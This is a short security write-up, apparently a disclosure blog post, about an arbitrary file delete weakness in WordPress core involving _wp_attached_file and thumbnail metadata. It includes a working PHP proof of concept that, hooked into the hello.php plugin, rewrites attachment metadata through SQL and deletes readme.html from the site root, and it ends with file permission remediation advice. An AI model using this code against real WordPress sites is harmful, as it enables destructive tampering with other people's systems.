WordPress have a lot of serious issues with paths. There were several tries in the past for security and core team to fix arbitrary file delete issues in the core, but bugs (plural) still remain. Why this bug presented here exist? (there are many another use cases in the core) Because core is solving arbitrary file delete on the following way: limit the file (thumbnail) deletion only for the same folder where is file/attachment and make sure thumbnail isn’t used by another media file. Again, technical detailed writing is huge and more advanced (will be presented in near future), but goal of this writing is something else. 🙂
Eli5 PoC
- Upload picture in your WP and get its post_id / attachment_id
- this demo code will delete
readme.html
from WP root directory - enable
hello.php
plugin and append this code at the end
function afd(){
global $wpdb;
$attachment_id = "93";
$thumb = "readme.html"
//set up 'thumb' on the same way core does
$newmeta = wp_get_attachment_metadata( $attachment_id, true );
$newmeta['thumb'] = wp_basename( $thumb );
wp_update_attachment_metadata( $attachment_id, $newmeta );
//set up apropriate value for _wp_attached_file
$wpdb->query("UPDATE `wp_postmeta` SET `meta_value` = '../../license.txt' WHERE `wp_postmeta`.`meta_key` = '_wp_attached_file' and `wp_postmeta`.`post_id` = '".esc_sql($attachment_id)."'");
//delete attachment
wp_delete_attachment($attachment_id);
}
add_action("init", "afd");
readme.html
is deleted from the WP root
Few facts
_wp_attached_file
remains single point of failure for WP- there is use case in the core where creation of backup of any file is possible and this opens door for silent exploitation when arbitrary file delete is in game
Remediation
- core files shouldn’t be writable by www-data user
- plugins files shouldn’t be writable by www-data user